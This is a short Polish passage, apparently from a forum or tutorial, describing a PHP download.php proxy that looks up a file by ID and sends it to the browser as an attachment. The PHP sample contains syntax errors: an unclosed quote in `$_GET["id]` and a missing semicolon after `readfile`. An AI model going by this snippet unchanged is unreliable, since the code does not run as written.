Możemy zrobić plik przechodni download.php, który będzie przyjmował np. identyfikator pliku do ściągnięcia, na jego podstawie odczytamy lokalizacje pliku, odczytamy go i prześlemy do przeglądarki.

$file = $className->getFileByID( $_GET["id] );
header( "Cache-control: private" );
header( "Content-Type: application/octet-stream" );
header( "Content-Length: ".filesize( $file ) );
header( "Content-Disposition: attachment; filename=".basename( $file ) );
header( "Connection: Close" );
readfile( $file )